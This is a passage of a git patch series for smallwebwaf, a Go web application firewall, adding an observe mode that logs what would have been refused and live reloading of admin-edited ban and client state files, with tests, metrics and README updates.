wantWouldAction(t, line, requestlog.ActionRateLimited) + + if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit || + line.BanExpires != "" { + t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+ + "want minute, limit and none", line.LimitHit, line.Offence, + line.BanExpires) + } + } + + // The ban read from bans.json refuses nothing, and so counts no + // refusal in its notes, but is kept. + line := s.get(otherClient, http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, requestlog.ActionBanned) + + if line.BanExpires != requestlog.FormatTime(kept.Expires) { + t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, + requestlog.FormatTime(kept.Expires)) + } + + got := server.Ledger.Snapshot() + if len(got) != 1 || got[0] != kept { + t.Errorf("bans\n%+v\nwant only\n%+v", got, kept) + } +} + +func TestObserveModeKeepsTheSizeLimitsAndTheToken(t *testing.T) { + t.Parallel() + + const denied = "192.0.2.50" // in SWWAF_DENY_NETS + + var calls atomic.Int32 + + app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { + calls.Add(1) + answerWithSize(w, 2*sizeLimit, true) + }) + addr, out := startProxy(t, app.URL, map[string]string{ + mode: observe, + trustedProxies: trustLocalhost, + denyNets: denied, + requestMaxBytes: sizeLimitSetting, + responseMaxBytes: sizeLimitSetting, + metricsToken: token, + }) + + // SWWAF_DENY_NETS would refuse each request; instead a size limit or + // the missing token does. + for i, tc := range []struct { + method, path string + body io.Reader + status int + action string + }{ + { + http.MethodPost, "/upload", bytes.NewReader(make([]byte, 2*sizeLimit)), + http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge, + }, + { + http.MethodGet, "/download", http.NoBody, + http.StatusBadGateway, requestlog.ActionTooLarge, + }, + { + http.MethodGet, proxy.MetricsPath, http.NoBody, + http.StatusUnauthorized, requestlog.ActionAdmin, + }, + } { + req := newRequest(t, tc.method, addr, tc.path, tc.body) + req.Header.Set(forwardedFor, denied) + wantStatus(t, do(t, req), tc.status) + + line := out.requestLines(t, i+1)[i] + wantLine(t, line, tc.status, tc.action) + wantWouldAction(t, line, requestlog.ActionDenied) + } + + // The upload was refused before it reached the app. + if calls.Load() != 1 { + t.Errorf("the app was called %d times, want once", calls.Load()) + } +} + +// wantWouldAction checks the request log line's would_action, and that a +// line that should have none has no such field. +func wantWouldAction(t *testing.T, line logLine, want string) { + t.Helper() + + got, present := line.fields["would_action"] + + switch { + case want == "" && present: + t.Errorf("log line has would_action %v, want none", got) + case want != "" && got != want: + t.Errorf("log line has would_action %v, want %s", got, want) + } +} diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 31334d0..bcff4cc 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -50,6 +50,7 @@ const ( clientResponseTimeout = "SWWAF_CLIENT_RESPONSE_TIMEOUT" upstreamRequestTimeout = "SWWAF_UPSTREAM_REQUEST_TIMEOUT" upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT" + mode = "SWWAF_MODE" requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES" responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" trustedProxies = "SWWAF_TRUSTED_PROXIES" diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 31fdb5c..71d571e 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -109,38 +109,24 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { // check is the one place where a request can be refused once its client // is known, before its body is read or anything reaches the app. It -// returns nil to let the request through. A client in SWWAF_ALLOW_NETS -// skips every check but the size limit. For any other client, -// SWWAF_DENY_NETS comes first, then a ban on its netblock, so that a -// client either refuses is not looked up, and then the country lists; a -// request any of them refuses is not counted for the rate limits. Then -// come the rate limits, unless the client is in -// SWWAF_RATE_LIMIT_EXEMPT_NETS, so that every other request is counted, -// one refused for its size too. Every refusal but the size limit's is -// answered with SWWAF_BAN_RESPONSE. ctx is the request's own context. +// returns nil to let the request through. The checks of checkClient come +// first, answered with SWWAF_BAN_RESPONSE, and then the size limit, so +// that a request the rate limits count is counted even when it is +// refused for its size. In observe mode a request checkClient refuses +// goes on to the size limit like any other. ctx is the request's own +// context. func (rq *request) check(ctx context.Context) *refusal { - cfg := rq.h.config - allowed := isInside(rq.client, cfg.AllowNets) - exempt := isInside(rq.client, cfg.RateLimitExemptNets) - now := rq.h.now() + action := rq.checkClient(ctx) + if action != "" { + if !rq.h.config.Observe { + return rq.banResponse(action) + } - if !allowed && isInside(rq.client, cfg.DenyNets) { - return rq.banResponse(requestlog.ActionDenied) + // The log line names what enforce mode would have done. + rq.line.WouldAction = action } - if !allowed && rq.banned(now) { - return rq.banResponse(requestlog.ActionBanned) - } - - if !allowed && rq.countryDenied(ctx) { - return rq.banResponse(requestlog.ActionCountryDenied) - } - - if !allowed && !exempt && rq.limitBroken(now) { - return rq.banResponse(requestlog.ActionRateLimited) - } - - maxBytes := cfg.RequestMaxBytes + maxBytes := rq.h.config.RequestMaxBytes if maxBytes > 0 && rq.in.ContentLength > maxBytes { return &refusal{ status: http.StatusRequestEntityTooLarge, @@ -152,6 +138,42 @@ func (rq *request) check(ctx context.Context) *refusal { return nil } +// checkClient runs the checks on the request's client, and returns the +// action of the first that refuses the request, or "" when none does. A +// client in SWWAF_ALLOW_NETS skips them. For any other client, +// SWWAF_DENY_NETS comes first, then a ban on its netblock, so that a +// client either refuses is not looked up, and then the country lists; a +// request any of them refuses is not counted for the rate limits. Then +// come the rate limits, unless the client is in +// SWWAF_RATE_LIMIT_EXEMPT_NETS, so that every other request is counted. +// ctx is the request's own context. +func (rq *request) checkClient(ctx context.Context) string { + cfg := rq.h.config + if isInside(rq.client, cfg.AllowNets) { + return "" + } + + now := rq.h.now() + + if isInside(rq.client, cfg.DenyNets) { + return requestlog.ActionDenied + } + + if rq.banned(now) { + return requestlog.ActionBanned + } + + if rq.countryDenied(ctx) { + return requestlog.ActionCountryDenied + } + + if !isInside(rq.client, cfg.RateLimitExemptNets) && rq.limitBroken(now) { + return requestlog.ActionRateLimited + } + + return "" +} + // forward passes the request to the app and the app's answer back. ctx // is the request's own context. func (rq *request) forward(ctx context.Context) { diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 638088d..f552c20 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -67,6 +67,10 @@ type Line struct { Referer string `json:"referer"` UserAgent string `json:"user_agent"` Action string `json:"action"` + // WouldAction is, in observe mode, the action enforce mode would have + // taken with a request it would have refused: ActionDenied, + // ActionBanned, ActionCountryDenied or ActionRateLimited. + WouldAction string `json:"would_action,omitempty"` // LimitHit is the window whose rate limit the request went over: // minute, hour or day. LimitHit string `json:"limit_hit,omitempty"` diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index f0ddb88..76f6a22 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -383,6 +383,7 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL, dir string) { listenAddr: localhost + ":0", upstreamURL: appURL, stateDir: dir, + "SWWAF_MODE": "enforce", "SWWAF_STATE_WRITE_DELAY": "10s", "SWWAF_STATE_COUNTER_INTERVAL": "15m", "SWWAF_TRUSTED_PROXIES": "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", From 6ec52e5b877fb5a59e10e85df7e443e5e1993f13 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Tue, 6 Oct 2026 14:18:13 +0200 Subject: [PATCH 23/64] Take in an admin's edits of the state files while running (closes #68) smallwebwaf watches SWWAF_STATE_DIR with fsnotify and takes in a saved edit of a state file in place of what it held. It knows its own writes by the SHA-256 of what it last read or wrote; each write first takes in an edit made since. An edit that does not parse is renamed to .bad at the next write. Each edit taken in or set aside is logged and counted. Every ban on a netblock is checked, and the next ban is worked out from the one that ended last. README.md says how to add and lift a ban. Judgement call: a broken edit is set aside at the next write, since an editor's file can be read half written. Model: opus-5-5 --- README.md | 101 +++-- go.mod | 1 + go.sum | 2 + internal/bans/bans.go | 74 ++-- internal/bans/snapshot_test.go | 104 +++++ internal/lookup/lookup.go | 12 +- internal/metrics/metrics.go | 20 + internal/ratelimit/ratelimit.go | 15 +- internal/smallwebwaf/smallwebwaf.go | 27 +- internal/smallwebwaf/smallwebwaf_test.go | 105 ++++- internal/state/state.go | 346 ++++++++++++---- internal/state/state_test.go | 492 ++++++++++++++++++++++- internal/state/write_internal_test.go | 35 ++ 13 files changed, 1152 insertions(+), 182 deletions(-) create mode 100644 internal/state/write_internal_test.go diff --git a/README.md b/README.md index 2a44452..7544ef9 100644 --- a/README.md +++ b/README.md @@ -15,20 +15,21 @@ Status: the first two milestones are built (https://git.eeqj.de/sneak/smallwebwaf/issues/13 and https://git.eeqj.de/sneak/smallwebwaf/issues/14), and so are six parts of milestone 3: the static lists, the bans that broken rate limits lead to and the -JSON state files, which come next in the build order, `observe` mode, which -comes a little later, and the metrics endpoint and the header size and the idle -time as settings, which come last in it. `smallwebwaf` passes each request to -the app and the app's answer back, unchanged, within its timeouts and size -limits, works out each client's address, bans a client that sends too many -requests, refuses a client that comes from a country you refuse or from a -network you refuse, lets the networks you choose through, keeps its bans, each -client's counters and history, and GeoJS's answers in JSON files across -restarts, writes a JSON log line for every request, serves Prometheus metrics to -a scraper that holds the metrics token, and in `observe` mode passes on the -requests it would refuse, logging what it would have done with them. It comes as -the image the app's own image is built on. The rest of the design comes after -that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey of -existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). +JSON state files with your edits taken in while it runs, which come next in the +build order, `observe` mode, which comes a little later, and the metrics +endpoint and the header size and the idle time as settings, which come last in +it. `smallwebwaf` passes each request to the app and the app's answer back, +unchanged, within its timeouts and size limits, works out each client's address, +bans a client that sends too many requests, refuses a client that comes from a +country you refuse or from a network you refuse, lets the networks you choose +through, keeps its bans, each client's counters and history, and GeoJS's answers +in JSON files across restarts, takes in your edits of those files while it runs, +writes a JSON log line for every request, serves Prometheus metrics to a scraper +that holds the metrics token, and in `observe` mode passes on the requests it +would refuse, logging what it would have done with them. It comes as the image +the app's own image is built on. The rest of the design comes after that, in the +order of the build order in [`SPEC.md`](SPEC.md). The survey of existing tools +that led to the design is in [`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -100,9 +101,9 @@ in `bin/state` unless `SWWAF_STATE_DIR` is set. seen, how many of them the ban has refused, and how many bans the netblock had before. At most `SWWAF_MAX_BANS` bans are kept, past, active and permanent; past that, the earliest ban of the netblock that has gone longest without a - request is dropped first. `bans.json` shows the bans and their notes, and a - restart lifts none (see "State files" below); lifting a ban by editing it - comes with https://git.eeqj.de/sneak/smallwebwaf/issues/68. + request is dropped first. `bans.json` shows the bans and their notes, a + restart lifts none, and you add or lift a ban by editing it (see "State files" + below). - Refuses a request from a country you refuse with `SWWAF_BAN_RESPONSE`, as soon as the client's country is known and before its body is read; such a request is not counted for the rate limits. While one of the country lists below is @@ -335,9 +336,42 @@ without a field it needs, named with the entry's place in the file: a ban's `netblock`, `start` or `expires`, which is `null` for a permanent ban; a client's `client`, or the `start` of a window in which it has requests; an answer's `client`, `country`, which is `""` for a client GeoJS cannot place, or -`answered`. An edit made while `smallwebwaf` runs is overwritten by its next -write: taking it in comes with https://git.eeqj.de/sneak/smallwebwaf/issues/68. -The AS number and AS name come with their lookup. +`answered`. The AS number and AS name come with their lookup. + +While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of +a state file as soon as you save it: what the file then holds replaces what +`smallwebwaf` held for it, as if read at start. It tells its own writes from +yours by comparing the file with what it last read or wrote, and before it +writes a file it takes in any edit made since, so your edit is not overwritten; +a change `smallwebwaf` made after you opened the file, such as a new ban, is +lost when you save over it. An edit that would stop the start, because it does +not parse, has another `version` or leaves out a field an entry needs, does not +stop the running `smallwebwaf`: it keeps what it holds, and at the file's next +write renames your file to `.bad`, such as `bans.json.bad`, writes the +file again from memory, and logs the file and where the error is. It waits for +that write because an editor's file can be read before the editor has finished +writing it. Mend the `.bad` file and move it back. A file you remove is written +again at its next write. + +To ban a netblock, add an entry to `bans.json` with its `netblock`, its `start` +and its `expires`, `null` for a ban that never ends; its `notes` may be left +out. This `bans.json` bans `203.0.113.0/24` for good: + +```json +{ + "version": 1, + "bans": [ + { + "netblock": "203.0.113.0/24", + "start": "2026-10-06T12:00:00Z", + "expires": null + } + ] +} +``` + +To lift a ban, delete its entry. `smallwebwaf` then forgets the ban, so it does +not make the netblock's next ban longer. ## Metrics @@ -376,7 +410,10 @@ other request. No metric carries a client's address. - `smallwebwaf_state_file_writes_total`, `smallwebwaf_state_file_write_failures_total`, `smallwebwaf_state_file_last_write_timestamp_seconds` and - `smallwebwaf_state_file_size_bytes`, by `file`. + `smallwebwaf_state_file_size_bytes`, by `file`; and, by `file` too, + `smallwebwaf_state_file_edits_taken_in_total`: your edits taken in, and + `smallwebwaf_state_file_edits_set_aside_total`: those renamed to `.bad` + because they would stop the start. - Go's own `go_` metrics and the process's `process_` metrics. The requests Go's HTTP server ends before `smallwebwaf` sees them (see "Request @@ -484,9 +521,9 @@ goes through the candidates one by one. readable JSON files, written regularly and at every stop, so a restart loses nothing. Edit a file, or add a rule file, and the running `smallwebwaf` picks up the change. Nothing is read from disk while serving a request. The files - for the bans, the clients and the GeoJS answers are built (see "State files" - above); the others come with their features, and taking in an edit while - running comes with https://git.eeqj.de/sneak/smallwebwaf/issues/68. + for the bans, the clients and the GeoJS answers are built, with an edit taken + in while running (see "State files" above); the others come with their + features. - Health checks, the metrics, and listing, adding and lifting bans or asking why a given address was refused, all on the one port every request uses: under `/_smallwebwaf/` on the app's own address, through traefik like any other @@ -678,8 +715,8 @@ addresses are never sent to GeoJS. answers. - `internal/ratelimit`: the table of clients: counts each client's requests, tells when one takes it over a rate limit, and keeps each client's history. -- `internal/state`: reads the state files at start, and writes them when they - are due and at the stop. +- `internal/state`: reads the state files at start, takes in an admin's edit of + one while running, and writes them when they are due and at the stop. - `internal/requestlog`: the lines on stdout: the request log line and the process's own messages. - `Dockerfile`: the lint and test phases, then the image, whose last stage @@ -691,8 +728,9 @@ addresses are never sent to GeoJS. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the table of clients to 20,000, the GeoJS answers to 100,000 and the banned netblocks to `SWWAF_MAX_BANS`, dropping the least recently seen, and -`github.com/prometheus/client_golang` keeps the metrics and serves them. The -country codes are the list in `internal/config/config.go`. +`github.com/prometheus/client_golang` keeps the metrics and serves them, and +`github.com/fsnotify/fsnotify` tells `smallwebwaf` when a state file is saved. +The country codes are the list in `internal/config/config.go`. ## Entrypoints @@ -735,10 +773,9 @@ so that they run in minimal containers. ## TODO -- The rest of milestone 3: taking in an admin's edits to the state files - (https://git.eeqj.de/sneak/smallwebwaf/issues/68), exemptions and the rest of - the request log's fields; then the rest of the design, in the order of the - build order in [`SPEC.md`](SPEC.md). +- The rest of milestone 3: exemptions and the rest of the request log's fields; + then the rest of the design, in the order of the build order in + [`SPEC.md`](SPEC.md). ## Documents diff --git a/go.mod b/go.mod index a033322..caf899d 100644 --- a/go.mod +++ b/go.mod @@ -3,6 +3,7 @@ module sneak.berlin/go/smallwebwaf go 1.26.0 require ( + github.com/fsnotify/fsnotify v1.10.1 github.com/hashicorp/golang-lru/v2 v2.0.7 github.com/prometheus/client_golang v1.24.1 ) diff --git a/go.sum b/go.sum index c02c3da..0e9f7bb 100644 --- a/go.sum +++ b/go.sum @@ -4,6 +4,8 @@ github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UF github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= +github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 68ee022..19b7c19 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -26,9 +26,9 @@ const maxTextBytes = 256 type Rules struct { // LimitBanDuration is how long a first ban lasts. LimitBanDuration time.Duration - // LimitBanRepeatWindow is how soon after the netblock's last ban - // ended a broken limit counts as a repeat, which bans for - // repeatFactor times as long as that ban. + // LimitBanRepeatWindow is how soon after the end of the netblock's + // ban that ended last a broken limit counts as a repeat, which bans + // for repeatFactor times as long as that ban. LimitBanRepeatWindow time.Duration // MaxBanDuration is the longest ban; a ban that would be longer is // permanent instead. @@ -176,9 +176,23 @@ func (l *Ledger) Find(client netip.Addr, now time.Time) (Ban, bool) { return *ban, true } +// activeBan returns the ban in bans, a netblock's bans oldest first, that +// is active at now, or nil when none is. If several are, it returns the +// one that started last. Every ban is looked at, since a ban an admin adds +// to bans.json can start before the netblock's others and outlast them. +func activeBan(bans []Ban, now time.Time) *Ban { + for i := len(bans) - 1; i >= 0; i-- { + if bans[i].ActiveAt(now) { + return &bans[i] + } + } + + return nil +} + // BanForLimit bans netblock at now for a broken limit, with notes, and // returns the ban. A first ban lasts LimitBanDuration. A ban made within -// LimitBanRepeatWindow after the netblock's last ban ended lasts +// LimitBanRepeatWindow after the netblock's ban that ended last lasts // repeatFactor times as long as that one. A ban that would be longer // than MaxBanDuration is permanent instead. If a ban on netblock is still // active, as when two of its requests break a limit at once, that ban is @@ -192,12 +206,22 @@ func (l *Ledger) BanForLimit(netblock netip.Prefix, now time.Time, notes Notes) bans, found := l.netblocks.Get(netblock) if found { - last = &(*bans)[len(*bans)-1] - if last.ActiveAt(now) { - return *last + active := activeBan(*bans, now) + if active != nil { + return *active } - notes.EarlierBans = last.Notes.EarlierBans + 1 + // No ban is active, so each has an end. A ban an admin adds to + // bans.json can start after another and end before it, so the + // ban that ended last is looked for among them all. + ended := slices.MaxFunc(*bans, func(a, b Ban) int { + return a.Expires.Compare(b.Expires) + }) + last = &ended + + // The netblock's first ban held counts the bans it had before that + // one, since dropped to make room, and each ban held adds one. + notes.EarlierBans = (*bans)[0].Notes.EarlierBans + len(*bans) } notes.Request = notes.Request.cut() @@ -282,21 +306,25 @@ func (l *Ledger) Snapshot() []Ban { return held } -// Load puts bans read from bans.json into a ledger that holds none yet, -// in the order they started, so that a netblock whose last ban started -// latest counts as the most recently seen. Each netblock is masked to its -// length, so that 203.0.113.9/24 is 203.0.113.0/24, and each text in the -// notes is cut to 256 bytes. Past MaxBans the earliest bans are dropped, -// as when they are made. +// Load puts bans read from bans.json into the ledger, in place of the +// bans it holds, in the order they started, so that a netblock whose last +// ban started latest counts as the most recently seen. Each netblock is +// masked to its length, so that 203.0.113.9/24 is 203.0.113.0/24, and +// each text in the notes is cut to 256 bytes. Past MaxBans the earliest +// bans are dropped, as when they are made. func (l *Ledger) Load(bans []Ban) { - l.mu.Lock() - defer l.mu.Unlock() - bans = slices.Clone(bans) slices.SortStableFunc(bans, func(a, b Ban) int { return a.Start.Compare(b.Start) }) + l.mu.Lock() + defer l.mu.Unlock() + + l.netblocks.Purge() + l.held = 0 + l.v4Lengths, l.v6Lengths = nil, nil + for _, ban := range bans { ban.Netblock = ban.Netblock.Masked() ban.Notes.Request = ban.Notes.Request.cut() @@ -318,11 +346,9 @@ func (l *Ledger) active(client netip.Addr, now time.Time) *Ban { continue } - // A ban is made only once the one before has ended, so only the - // last can be active. - last := &(*bans)[len(*bans)-1] - if last.ActiveAt(now) { - return last + ban := activeBan(*bans, now) + if ban != nil { + return ban } } @@ -358,8 +384,8 @@ func (l *Ledger) add(ban Ban) { } // expiry returns when a ban for a broken limit made at now ends, or zero -// when it is permanent. last is the netblock's last ban, which has ended, -// or nil when it has none. +// when it is permanent. last is the netblock's ban that ended last, or nil +// when it has none. func (l *Ledger) expiry(last *Ban, now time.Time) time.Time { length := l.rules.LimitBanDuration diff --git a/internal/bans/snapshot_test.go b/internal/bans/snapshot_test.go index 873b196..3a1a651 100644 --- a/internal/bans/snapshot_test.go +++ b/internal/bans/snapshot_test.go @@ -130,6 +130,75 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) { } } +func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) { + t.Parallel() + + // As when an admin adds a permanent ban to bans.json with a start + // before that of the netblock's ban that has ended. + netblock := netip.MustParsePrefix("203.0.113.0/24") + permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)} + ended := bans.Ban{ + Netblock: netblock, + Start: midnight(), + Expires: midnight().Add(time.Hour), + } + + ledger := bans.New(defaultRules()) + ledger.Load([]bans.Ban{permanent, ended}) + + now := midnight().Add(2 * time.Hour) + client := netip.MustParseAddr("203.0.113.9") + + ban, banned := ledger.Find(client, now) + if !banned || !ban.Permanent() { + t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned) + } + + ban, banned = ledger.Check(client, now) + if !banned || !ban.Permanent() { + t.Errorf("the client is refused: %t, under %+v, want under the permanent ban", + banned, ban) + } + + // A limit broken now makes no shorter ban over the permanent one. + ban = ledger.BanForLimit(netblock, now, bans.Notes{}) + if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 { + t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+ + "want the permanent ban and 2", ban, len(ledger.Bans(netblock))) + } +} + +func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { + t.Parallel() + + // A 9-hour ban smallwebwaf made, the third in a row, and an admin's + // 1-hour ban added to bans.json over it, with no notes. + netblock := netip.MustParsePrefix("203.0.113.9/32") + nineHours := bans.Ban{ + Netblock: netblock, + Start: midnight(), + Expires: midnight().Add(9 * time.Hour), + Notes: bans.Notes{EarlierBans: 2}, + } + admins := bans.Ban{ + Netblock: netblock, + Start: midnight().Add(time.Hour), + Expires: midnight().Add(2 * time.Hour), + } + + ledger := bans.New(defaultRules()) + ledger.Load([]bans.Ban{nineHours, admins}) + + // Once both have ended, a limit broken within the repeat window bans + // for three times the 9 hours, and the notes count the two bans + // before the 9-hour one, it, and the admin's. + ban := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{}) + if ban.Expires.Sub(ban.Start) != 27*time.Hour || ban.Notes.EarlierBans != 4 { + t.Errorf("the next ban lasts %s with %d earlier bans, want 27h and 4", + ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans) + } +} + func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) { t.Parallel() @@ -151,6 +220,41 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) { } } +func TestLoadReplacesTheBansHeld(t *testing.T) { + t.Parallel() + + // Room for three bans, so that the second load, were it added to the + // two bans held, would drop none of them to make room. + rules := defaultRules() + rules.MaxBans = 3 + ledger := bans.New(rules) + kept := bans.Ban{Netblock: netip.MustParsePrefix("2001:db8::/64"), Start: midnight()} + ledger.Load([]bans.Ban{ + {Netblock: netip.MustParsePrefix("203.0.113.0/24"), Start: midnight()}, + kept, + }) + + // Loaded again without the first ban, as when an admin's edit of + // bans.json is taken in, that ban is lifted. + ledger.Load([]bans.Ban{kept}) + + _, banned := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight()) + if banned { + t.Error("a ban left out of the second load still refuses") + } + + // The ledger holds one ban, so it makes two more without dropping any. + first := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), + bans.Notes{}) + second := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(), + bans.Notes{}) + + want := []bans.Ban{first, second, kept} + if got := ledger.Snapshot(); !slices.Equal(got, want) { + t.Errorf("the ledger holds %+v, want %+v", got, want) + } +} + func TestLoadCutsTheTextsTo256Bytes(t *testing.T) { t.Parallel() diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go index c181007..a2b7139 100644 --- a/internal/lookup/lookup.go +++ b/internal/lookup/lookup.go @@ -197,19 +197,21 @@ func (g *GeoJS) Snapshot() []Answer { return answers } -// Load keeps answers read from lookups.json, in a GeoJS that keeps none -// yet, in the order they were last used, so that the one used longest +// Load keeps answers read from lookups.json, in place of the answers it +// keeps, in the order they were last used, so that the one used longest // ago is dropped first. Answers GeoJS gave keepFor ago or more are // dropped. func (g *GeoJS) Load(answers []Answer) { - g.mu.Lock() - defer g.mu.Unlock() - answers = slices.Clone(answers) slices.SortStableFunc(answers, func(a, b Answer) int { return a.Used.Compare(b.Used) }) + g.mu.Lock() + defer g.mu.Unlock() + + g.answers.Purge() + now := g.now() for _, answer := range answers { diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 2bba0ed..f08a714 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -44,6 +44,8 @@ type Metrics struct { stateFileWriteFailures *prometheus.CounterVec stateFileLastWrite *prometheus.GaugeVec stateFileSize *prometheus.GaugeVec + stateFileEditsTakenIn *prometheus.CounterVec + stateFileEditsSetAside *prometheus.CounterVec } // New returns the metrics, with the Go runtime's and the process's own. @@ -105,6 +107,11 @@ func New(topN int) *Metrics { "When each state file was last written, in seconds since 1970.", byFile), stateFileSize: gaugeVec("smallwebwaf_state_file_size_bytes", "The size of each state file, as it was last written.", byFile), + stateFileEditsTakenIn: counterVec("smallwebwaf_state_file_edits_taken_in_total", + "Edits of each state file taken in while running.", byFile), + stateFileEditsSetAside: counterVec("smallwebwaf_state_file_edits_set_aside_total", + "Edits of each state file renamed to .bad because they did not parse.", + byFile), } m.handler = promhttp.HandlerFor(m.registry, promhttp.HandlerOpts{}) @@ -120,6 +127,7 @@ func New(topN int) *Metrics { m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered, m.stateFileWrites, m.stateFileWriteFailures, m.stateFileLastWrite, m.stateFileSize, + m.stateFileEditsTakenIn, m.stateFileEditsSetAside, ) return m @@ -230,6 +238,18 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) { m.stateFileSize.WithLabelValues(name).Set(float64(size)) } +// StateFileEditTakenIn counts an admin's edit of the state file name +// taken in while smallwebwaf runs. +func (m *Metrics) StateFileEditTakenIn(name string) { + m.stateFileEditsTakenIn.WithLabelValues(name).Inc() +} + +// StateFileEditSetAside counts an admin's edit of the state file name +// renamed to name.bad because it did not parse. +func (m *Metrics) StateFileEditSetAside(name string) { + m.stateFileEditsSetAside.WithLabelValues(name).Inc() +} + // statusClass returns the class of status, such as 2xx, or none when no // status was sent. func statusClass(status int) string { diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 2220c46..fb25801 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -269,18 +269,21 @@ func (l *Limiter) Snapshot() []Client { return clients } -// Load puts clients read from clients.json into a table that holds none -// yet, in the order they were last seen, so that the least recently seen -// is dropped first. Buckets whose time has passed at now are emptied. +// Load puts clients read from clients.json into the table, in place of +// the clients it holds, in the order they were last seen, so that the +// least recently seen is dropped first. Buckets whose time has passed at +// now are emptied. func (l *Limiter) Load(clients []Client, now time.Time) { - l.mu.Lock() - defer l.mu.Unlock() - clients = slices.Clone(clients) slices.SortStableFunc(clients, func(a, b Client) int { return a.History.LastSeen.Compare(b.History.LastSeen) }) + l.mu.Lock() + defer l.mu.Unlock() + + l.clients.Purge() + for _, c := range clients { for i, b := range c.buckets() { // The window that ends at now covers neither bucket once it diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index 0fe29e0..06b446b 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -113,9 +113,10 @@ func Run(ctx context.Context, params Params) int { return serve(ctx, server.Server, listener, files, processLog) } -// serve serves requests on listener, and writes the state files as they -// are due, until ctx is done. Then it gives the requests in progress -// shutdownTimeout to finish, and writes every state file. +// serve serves requests on listener, writes the state files as they are +// due, and takes in an admin's edits of them, until ctx is done. Then it +// gives the requests in progress shutdownTimeout to finish, and writes +// every state file. func serve( ctx context.Context, server *http.Server, listener net.Listener, files *state.Files, processLog *slog.Logger, @@ -130,12 +131,18 @@ func serve( defer stopWriting() written := make(chan struct{}) + watched := make(chan struct{}) go func() { files.Run(writing) close(written) }() + go func() { + files.Watch(writing) + close(watched) + }() + select { case err := <-served: processLog.Error("serving failed", "error", err.Error()) @@ -165,13 +172,15 @@ func serve( return 1 } - // Run's last write has ended, so nothing else writes the files. Every - // request has ended too, but for two kinds that Go's server does not - // wait for: one cut off because Shutdown timed out, and one whose - // connection switched protocols, such as a WebSocket. Such a request - // adds to its client's history only as it ends, which can be after - // this write, and then that request is missing from clients.json. + // Run and Watch have ended, so nothing else reads or writes the + // files. Every request has ended too, but for two kinds + // that Go's server does not wait for: one cut off because Shutdown + // timed out, and one whose connection switched protocols, such as a + // WebSocket. Such a request adds 